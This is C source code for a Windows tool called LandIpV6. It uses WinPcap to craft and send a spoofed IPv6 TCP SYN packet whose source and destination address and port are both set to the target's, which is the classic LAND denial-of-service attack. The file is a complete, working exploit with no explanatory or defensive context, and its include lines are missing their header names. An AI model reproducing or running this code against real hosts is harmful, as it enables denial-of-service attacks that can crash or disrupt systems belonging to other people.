// // Example usage: LandIpV6 \Device\NPF_{B1751317-BAA0-43BB-A69B-A0351960B28D} fe80::2a1:b0ff:fe08:8bcc 135 // // Written by: Konrad Malewski. // #include #include #include #include #include #include /////////////////////////////////////////////////////////////////////////////// ///////////// from libnet ///////////// /* ethernet addresses are 6 octets long */ #define ETHER_ADDR_LEN 0x6 typedef unsigned char u_int8_t; typedef unsigned short u_int16_t; typedef unsigned int u_int32_t; typedef unsigned __int64 u_int64_t; /* * Ethernet II header * Static header size: 14 bytes */ struct libnet_ethernet_hdr { u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */ u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */ u_int16_t ether_type; /* protocol */ }; struct libnet_in6_addr { union { u_int8_t __u6_addr8[16]; u_int16_t __u6_addr16[8]; u_int32_t __u6_addr32[4]; } __u6_addr; /* 128-bit IP6 address */ }; /* * IPv6 header * Internet Protocol, version 6 * Static header size: 40 bytes */ struct libnet_ipv6_hdr { u_int8_t ip_flags[4]; /* version, traffic class, flow label */ u_int16_t ip_len; /* total length */ u_int8_t ip_nh; /* next header */ u_int8_t ip_hl; /* hop limit */ struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */ }; /* * TCP header * Transmission Control Protocol * Static header size: 20 bytes */ struct libnet_tcp_hdr { u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ u_int32_t th_seq; /* sequence number */ u_int32_t th_ack; /* acknowledgement number */ u_int8_t th_x2:4, /* (unused) */ th_off:4; /* data offset */ u_int8_t th_flags; /* control flags */ u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ }; int libnet_in_cksum(u_int16_t *addr, int len) { int sum; union { u_int16_t s; u_int8_t b[2]; }pad; sum = 0; while (len > 1) { sum += *addr++; len -= 2; } if (len == 1) { pad.b[0] = *(u_int8_t *)addr; pad.b[1] = 0; sum += pad.s; } return (sum); } #define LIBNET_CKSUM_CARRY(x) (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff)) /////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// u_char packet[74]; struct libnet_ipv6_hdr *ip6_hdr = (libnet_ipv6_hdr *) (packet + 14); struct libnet_tcp_hdr *tcp_hdr = (libnet_tcp_hdr *) (packet + 54); struct libnet_ethernet_hdr *eth_hdr = (libnet_ethernet_hdr *) packet; u_char errbuf[1024]; pcap_t *pcap_handle; void usage(char* n) { pcap_if_t * alldevs,*d; int i=1; fprintf(stdout,"Usage:\n" "\t %s \n",n); if (pcap_findalldevs (&alldevs, (char*)errbuf) == -1) { fprintf( stderr, "Error in pcap_findalldevs ():%s\n" ,errbuf); exit(EXIT_FAILURE); } printf("Avaliable adapters: \n"); d = alldevs; while (d!=NULL) { printf("\t%d) %s\n\t\t%s\n",i++,d->name,d->description); d = d->next; } pcap_freealldevs (alldevs); } /////////////////////////////////////////////////////////////////////////////// int main(int argc, char* argv[]) { if ( argc<4 ) { usage(argv[0]); return EXIT_FAILURE; } int retVal; struct addrinfo hints,*addrinfo; ZeroMemory(&hints,sizeof(hints)); WSADATA wsaData; if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR ) { fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError()); return EXIT_FAILURE; } // // Get MAC address of remote host (assume link local IpV6 address) // hints.ai_family = PF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; retVal = getaddrinfo(argv[2],0, &hints, &addrinfo); if ( retVal!=0 ) { WSACleanup(); fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError()); exit(EXIT_FAILURE); } // // Open WinPCap adapter // if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS, 100, (char*)errbuf)) == NULL ) { freeaddrinfo(addrinfo); WSACleanup(); fprintf(stderr, "Error opening device: %s\n",argv[1]); return EXIT_FAILURE; } ZeroMemory(packet,sizeof(packet)); struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr; // fill ethernet header eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like 00:something; eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9]; eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10]; eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13]; eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14]; eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15]; eth_hdr->ether_type = 0xdd86; // fill IP header // source ip == destination ip memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte)); memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte)); ip6_hdr->ip_hl = 255; ip6_hdr->ip_nh = IPPROTO_TCP; ip6_hdr->ip_len = htons (20); ip6_hdr->ip_flags[0] = 0x06 << 4; srand((unsigned int) time(0)); // fill tcp header tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source port equal to destination tcp_hdr->th_seq = rand(); tcp_hdr->th_ack = rand(); tcp_hdr->th_off = htons(5); tcp_hdr->th_win = rand(); tcp_hdr->th_sum = 0; tcp_hdr->th_urp = htons(10); tcp_hdr->th_off = 5; tcp_hdr->th_flags = 2; // calculate tcp checksum int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32); chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr)); chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct libnet_tcp_hdr)); tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum); // send data to wire retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet)); if ( retVal == -1 ) { fprintf(stderr,"Error writing packet to wire!!\n"); } // // close adapter, free mem.. etc.. // pcap_close(pcap_handle); freeaddrinfo(addrinfo); WSACleanup(); return EXIT_SUCCESS; }